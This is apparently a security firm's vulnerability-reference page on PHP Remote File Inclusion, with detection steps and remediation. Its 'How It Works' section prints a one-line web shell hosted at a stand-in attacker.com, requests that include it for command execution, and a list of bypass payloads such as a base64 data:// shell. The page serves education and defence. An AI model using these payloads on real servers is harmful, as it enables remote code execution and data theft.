SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

Remote File Inclusion (RFI)

Attacker-controlled URLs are passed to server-side include directives, causing the server to fetch and execute remote code from an external attacker-controlled host.

CVSS 9.8CWE CWE-98OWASP A03:2021 — Injection

Description

Remote File Inclusion (RFI), like Local File Inclusion (LFI), is classified under CWE-98 — Improper Control of Filename for Include/Require Statement in PHP Program. The critical difference is that RFI allows the attacker to supply a URL pointing to a remote, attacker-controlled server. The vulnerable application fetches the remote resource and executes its contents as server-side code. This makes RFI a direct path to remote code execution with a CVSS score of 9.8 — one of the highest possible.

RFI is most commonly associated with PHP, where the include() and require() functions can accept URLs when the allow_url_include configuration directive is enabled (default: Off in modern PHP versions). The vulnerability also appears in other interpreted languages and templating systems that support remote resource inclusion. Falls under A03:2021 — Injection in the OWASP Top 10 because it represents a remote code injection into the server's execution context.

While allow_url_include is disabled by default in PHP >= 5.2.0, legacy codebases, misconfigured hosting environments, and platforms explicitly enabling this feature for legitimate purposes remain vulnerable. When discovered, RFI is typically a critical finding requiring immediate remediation.

How It Works

A PHP application dynamically loads a module based on the module parameter:

<?php
$module = $_GET['module'];
include($module . ".php");
?>

With allow_url_include = On, the attacker hosts a malicious PHP file on their server:

<?php
// Hosted at http://attacker.com/shell.txt
system($_GET['cmd']);
?>

The attacker then sends:

GET /index.php?module=http://attacker.com/shell HTTP/1.1
Host: app.example.com

PHP fetches http://attacker.com/shell.php, executes its contents in the context of the vulnerable server, and the attacker achieves immediate remote code execution:

GET /index.php?module=http://attacker.com/shell&cmd=id HTTP/1.1
Host: app.example.com

uid=33(www-data) gid=33(www-data) groups=33(www-data)

From this initial foothold, the attacker can upload a persistent web shell, pivot to the internal network, exfiltrate database credentials from configuration files, or establish a reverse shell.

Bypass techniques when basic URL inclusion is blocked:

  • Null byte terminationhttp://attacker.com/shell.txt%00 strips the .php suffix appended by the application.
  • Question mark bypasshttp://attacker.com/shell.php? causes the appended .php to become a query parameter: http://attacker.com/shell.php?.php.
  • PHP wrappersdata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ embeds base64-encoded PHP code directly in the URL, avoiding the need for an external server when the data:// wrapper is enabled.
  • FTP and SMB inclusion — on Windows servers, \\attacker.com\share\shell.php can trigger SMB-based file inclusion.

Impact

  • Immediate remote code execution — attacker-controlled code runs in the web server's process context with no intermediate steps required.
  • Full server compromise — web shell installation, reverse shell, and privilege escalation to root are the typical follow-on actions.
  • Data exfiltration — all files accessible to the web server process, including database credentials, user data, and private keys, are readable.
  • Botnet enrollment — compromised servers are commonly used to send spam, conduct DDoS attacks, or serve malware to site visitors.
  • Cryptominer installation — automated exploitation scripts frequently install cryptocurrency miners as an immediate monetization step.
  • Lateral movement — credentials harvested from the web server enable access to internal databases, message brokers, and adjacent services.

Detection

  1. Identify dynamic inclusion parameters — look for parameters named page, module, template, file, inc, lang, or path that control which file is loaded. These are prime RFI candidates.
  2. Test with a controlled URL — supply http://<your_server>/test.txt (host a benign file) and monitor your server's access logs. An incoming request confirms the server fetches remote URLs.
  3. Use Burp Collaborator — supply a Burp Collaborator URL as the parameter value. An HTTP interaction in Collaborator confirms the server is making an outbound request, even if the response is not reflected.
  4. Test wrapper-based inclusion — supply data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== (<?php phpinfo(); ?> encoded). If phpinfo output appears, data:// inclusion is enabled.
  5. Check PHP configuration — if you have access to phpinfo() output or the server's php.ini, confirm the values of allow_url_include and allow_url_fopen. Even allow_url_fopen = Off blocks most RFI vectors.
  6. Test with LFI payloads as a fallback — if allow_url_include is disabled, the same parameter may still be exploitable as LFI; test both vulnerability classes together.

Remediation

Disable allow_url_include in php.ini. This is the most effective single control and should be the default in all environments:

; php.ini
allow_url_include = Off
allow_url_fopen = Off  ; Also disable unless FTP streams are required

Never use user input in include/require directives. Use a strict allowlist mapping opaque user-supplied keys to hard-coded file paths:

$modules = [
    "home"    => __DIR__ . "/modules/home.php",
    "profile" => __DIR__ . "/modules/profile.php",
];

$key = $_GET['module'] ?? 'home';
$file = $modules[$key] ?? $modules['home'];
include $file;

Set open_basedir. Restrict the directories PHP can access to prevent any file system traversal even if inclusion filtering fails:

open_basedir = /var/www/html:/tmp

Block outbound HTTP from the web server at the network layer. Egress filtering prevents RFI even in misconfigured PHP environments, and also limits the blast radius of SSRF vulnerabilities.

Migrate to a routing framework. Replacing dynamic include patterns with a proper MVC framework eliminates the entire attack surface class.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping